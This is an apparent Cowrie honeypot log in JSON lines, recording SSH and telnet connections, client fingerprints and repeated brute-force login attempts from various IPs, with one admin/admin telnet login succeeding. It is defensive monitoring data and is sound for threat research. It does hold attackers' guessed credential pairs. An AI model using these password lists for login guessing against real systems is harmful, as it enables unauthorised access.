{"eventid":"cowrie.login.failed","username":"root","password":"yasmin","message":"login attempt [root/yasmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:32.871658Z","src_ip":"89.108.118.91","session":"e2dfbe9ef761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:33.997232Z","src_ip":"89.108.118.91","session":"e2dfbe9ef761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":54194,"dst_ip":"159.203.135.109","dst_port":22,"session":"a417093e60b2","protocol":"ssh","message":"New connection: 103.122.221.179:54194 (159.203.135.109:22) [session: a417093e60b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:34.773961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:34.779226Z","src_ip":"103.122.221.179","session":"a417093e60b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:35.037877Z","src_ip":"103.122.221.179","session":"a417093e60b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radiohead","message":"login attempt [root/radiohead] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:35.822061Z","src_ip":"103.122.221.179","session":"a417093e60b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:37.083728Z","src_ip":"103.122.221.179","session":"a417093e60b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01210451126099,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:49.473026Z","src_ip":"180.235.129.180","session":"1f487fb9c605","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":42016,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aa8f3f7d3ed","protocol":"ssh","message":"New connection: 51.250.105.222:42016 (159.203.135.109:22) [session: 9aa8f3f7d3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:11.272119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:11.275340Z","src_ip":"51.250.105.222","session":"9aa8f3f7d3ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:11.397787Z","src_ip":"51.250.105.222","session":"9aa8f3f7d3ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:11.771034Z","src_ip":"51.250.105.222","session":"9aa8f3f7d3ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:12.898563Z","src_ip":"51.250.105.222","session":"9aa8f3f7d3ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31193,"dst_ip":"159.203.135.109","dst_port":22,"session":"a99520b0546e","protocol":"ssh","message":"New connection: 2.57.121.25:31193 (159.203.135.109:22) [session: a99520b0546e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:30.272365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:30.277445Z","src_ip":"2.57.121.25","session":"a99520b0546e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:30.383469Z","src_ip":"2.57.121.25","session":"a99520b0546e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12071993","message":"login attempt [user/12071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:30.877266Z","src_ip":"2.57.121.25","session":"a99520b0546e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120688","message":"login attempt [user/120688] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:31.984584Z","src_ip":"2.57.121.25","session":"a99520b0546e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:32.185369Z","src_ip":"144.31.25.180","session":"3d6e838224f5","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:32.229155Z","src_ip":"144.31.25.180","session":"3d6e838224f5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"120686","message":"login attempt [user/120686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:33.092591Z","src_ip":"2.57.121.25","session":"a99520b0546e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12061977","message":"login attempt [user/12061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:34.203075Z","src_ip":"2.57.121.25","session":"a99520b0546e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120585","message":"login attempt [user/120585] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:35.311619Z","src_ip":"2.57.121.25","session":"a99520b0546e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:36.420262Z","src_ip":"2.57.121.25","session":"a99520b0546e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57962,"dst_ip":"10.17.0.5","dst_port":22,"session":"13727bc88f3d","protocol":"ssh","message":"New connection: 147.45.197.250:57962 (10.17.0.5:22) [session: 13727bc88f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:45.556186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:45.561316Z","src_ip":"147.45.197.250","session":"13727bc88f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:45.650113Z","src_ip":"147.45.197.250","session":"13727bc88f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ostrov","message":"login attempt [root/ostrov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:45.918603Z","src_ip":"147.45.197.250","session":"13727bc88f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:44:47.010835Z","src_ip":"147.45.197.250","session":"13727bc88f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.130.203.68","src_port":33027,"dst_ip":"10.17.0.5","dst_port":23,"session":"1429a4f0cd39","protocol":"telnet","message":"New connection: 220.130.203.68:33027 (10.17.0.5:23) [session: 1429a4f0cd39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:45:00.076675Z"}
{"eventid":"cowrie.session.closed","duration":30.513460636138916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:45:30.590003Z","src_ip":"220.130.203.68","session":"1429a4f0cd39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":53094,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f25ede5cae","protocol":"ssh","message":"New connection: 103.82.20.28:53094 (10.17.0.5:22) [session: 04f25ede5cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:46:30.864028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:46:30.869593Z","src_ip":"103.82.20.28","session":"04f25ede5cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:46:31.149949Z","src_ip":"103.82.20.28","session":"04f25ede5cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barbados","message":"login attempt [root/barbados] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:46:31.989934Z","src_ip":"103.82.20.28","session":"04f25ede5cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:46:33.272841Z","src_ip":"103.82.20.28","session":"04f25ede5cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":57594,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bebe571108f","protocol":"ssh","message":"New connection: 103.27.238.114:57594 (10.17.0.5:22) [session: 3bebe571108f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:46:42.227785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:46:42.232334Z","src_ip":"103.27.238.114","session":"3bebe571108f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:46:42.501686Z","src_ip":"103.27.238.114","session":"3bebe571108f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mommy1","message":"login attempt [root/mommy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:46:43.299927Z","src_ip":"103.27.238.114","session":"3bebe571108f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:46:44.568920Z","src_ip":"103.27.238.114","session":"3bebe571108f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":55600,"dst_ip":"159.203.135.109","dst_port":22,"session":"09dc4c47f52b","protocol":"ssh","message":"New connection: 85.11.167.46:55600 (159.203.135.109:22) [session: 09dc4c47f52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:27.050880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:27.055691Z","src_ip":"85.11.167.46","session":"09dc4c47f52b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:27.141657Z","src_ip":"85.11.167.46","session":"09dc4c47f52b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:27.400136Z","src_ip":"85.11.167.46","session":"09dc4c47f52b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:28.489988Z","src_ip":"85.11.167.46","session":"09dc4c47f52b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.161","src_port":43104,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b97cd64059f","protocol":"ssh","message":"New connection: 208.87.242.161:43104 (10.17.0.5:22) [session: 5b97cd64059f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.288370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.293453Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-s